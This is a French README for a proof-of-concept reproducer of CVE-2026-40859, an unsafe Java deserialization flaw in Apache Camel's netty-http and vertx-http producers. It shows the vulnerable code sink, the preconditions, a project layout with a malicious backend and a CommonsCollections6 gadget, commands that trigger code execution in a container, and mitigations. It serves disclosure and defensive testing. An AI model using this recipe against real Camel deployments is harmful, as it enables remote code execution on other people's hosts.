
Reproducteur pour CVE-2026-40859 — Apache Camel camel-netty-http / camel-vertx-http désérialisation non sécurisée côté producteur des corps de réponse HTTP (RCE)
Ce projet démontre une vulnérabilité de désérialisation Java dans les composants camel-netty-http et camel-vertx-http d'Apache Camel, suivie sous le nom CVE-2026-40859. Lorsqu'un point de terminaison producteur est configuré avec transferException=true (ou le paramètre au niveau du composant allowJavaSerializedObject=true), une réponse HTTP backend avec un statut d'échec et Content-Type: application/x-java-serialized-object voit son corps désérialisé avec un java.io.ObjectInputStream brut et aucun ObjectInputFilter. Un attaquant qui contrôle le backend auquel le producteur Camel parle — un service compromis, ou un homme du milieu sur une connexion HTTP non chiffrée — peut renvoyer un objet sérialisé conçu et, si une chaîne de gadgets est sur le classpath, obtenir une exécution de code à distance sur l'hôte Camel.
Avis : https://camel.apache.org/security/CVE-2026-40859.html
| Propriété | Valeur |
|---|---|
| Composants | camel-netty-http, camel-vertx-http (côté producteur) |
| Classe affectée | org.apache.camel.component.netty.http.NettyHttpHelper#deserializeJavaObjectFromStream (et VertxHttpHelper#deserializeJavaObjectFromStream) |
| CWE | CWE-502 : Désérialisation de données non fiables |
| Impact | Exécution de code à distance (RCE) |
| Précondition | transferException=true (ou allowJavaSerializedObject=true) + throwExceptionOnFailure=true (par défaut) + backend contrôlé par l'attaquant |
| Versions affectées | De 4.0.0 avant 4.14.8, de 4.15.0 avant 4.18.3, de 4.19.0 avant 4.20.0 |
| Versions corrigées | 4.14.8, 4.18.3, 4.20.0 |
| JIRA | CAMEL-23324 |
| Rapporteur | Venkatraman Kumar (Securin) |
Non exploitable dans la configuration par défaut —
transferExceptionpar défaut àfalse. Le PoC l'active, comme le ferait une application souhaitant la propagation d'exceptions à distance.
Sur une réponse non-2xx, le producteur netty-http (avec throwExceptionOnFailure=true, par défaut) construit une exception à partir de la réponse via populateNettyHttpOperationFailedException. Si transferException est activé et que la réponse porte le type de contenu d'objet sérialisé, il désérialise le corps :
// NettyHttpHelper.populateNettyHttpOperationFailedException(...) - affected version
if (transferException) {
String contentType = response.headers().get(NettyHttpConstants.CONTENT_TYPE);
if (NettyHttpConstants.CONTENT_TYPE_JAVA_SERIALIZED_OBJECT.equals(contentType)) { // application/x-java-serialized-object
InputStream is = exchange.getContext().getTypeConverter().convertTo(InputStream.class, response);
if (is != null) {
Object body = deserializeJavaObjectFromStream(is); // <-- sink
if (body instanceof Exception) {
return (Exception) body;
}
}
}
}
// NettyHttpHelper.deserializeJavaObjectFromStream(InputStream) - affected version
ObjectInputStream ois = new ObjectInputStream(is); // NO ObjectInputFilter
answer = ois.readObject(); // gadget fires here
Le gadget s'exécute dans readObject(), avant la vérification instanceof Exception — donc la charge utile n'a même pas besoin d'être une exception. camel-vertx-http a le même point d'absorption dans VertxHttpHelper.deserializeJavaObjectFromStream.
from("direct:call")
.to("netty-http://backend-host:PORT/path?transferException=true");
// throwExceptionOnFailure defaults to true
Tout appel de producteur dont le backend répond 5xx + application/x-java-serialized-object déclenche le point d'absorption.
La victime est le producteur Camel (il effectue la désérialisation). L'attaquant contrôle le backend qu'il appelle. Dans ce PoC autonome, les deux rôles s'exécutent dans le même JVM/conteneur : un serveur HTTP embarqué sur socket brut (MaliciousBackend) joue le rôle du backend contrôlé par l'attaquant, et la route Camel (VictimRoute) est la victime.
CVE-2026-40859/
├── pom.xml # camel-netty-http 4.18.2 + commons-collections 3.2.1 (gadget)
├── Dockerfile # exécute l'application (avec --add-opens, nécessaire uniquement pour construire le gadget)
├── docker-compose.yml
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── VictimRoute.java # victime : producteur netty-http, transferException=true
│ ├── MaliciousBackend.java # backend attaquant : 500 + corps d'objet sérialisé sur :9999
│ ├── Gadget.java # gadget CommonsCollections6, se déclenche dans readObject()
│ └── ExploitController.java # /exploit/attack pilote l'appel du producteur
└── resources/
└── application.properties
Dans une attaque réelle, les octets sérialisés sont produits hors ligne par l'attaquant (par exemple avec ysoserial) ; seule la victime a besoin de la chaîne de gadgets sur son classpath. Ce PoC construit le gadget en cours de processus pour plus de commodité, c'est pourquoi la JVM est démarrée avec
--add-opens java.base/java.util=ALL-UNNAMED— ce drapeau est un détail de construction du gadget, sans rapport avec la vulnérabilité.
mvn clean package -DskipTests
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack
# -> producer threw ...NettyHttpOperationFailedException (expected)
#
# >>> RCE proof — /tmp/pwned exists: true
docker exec cve-2026-40859 ls -la /tmp/pwned
docker compose down
Tout producteur camel-netty-http / camel-vertx-http configuré avec transferException=true (ou allowJavaSerializedObject=true) qui communique avec un backend qu'un attaquant peut contrôler ou intercepter :
http://) substitue la réponse.transferException=true (ou composant allowJavaSerializedObject=true).throwExceptionOnFailure=true (par défaut).5xx + application/x-java-serialized-object.commons-collections:3.2.1).Mettez à jour vers 4.14.8 / 4.18.3 / 4.20.0. Le correctif contraint les deux helpers avec une liste blanche ObjectInputFilter par défaut (java.**;javax.**;org.apache.camel.**;!*), personnalisable via la nouvelle option de point de terminaison deserializationFilter ou la propriété système JVM -Djdk.serialFilter.
transferException=true / allowJavaSerializedObject=true sur les producteurs communiquant avec des backends non fiables ou accessibles par le réseau.https) pour les connexions des producteurs afin que les réponses ne puissent pas être substituées en transit.-Djdk.serialFilter=java.**;org.apache.camel.**;!*.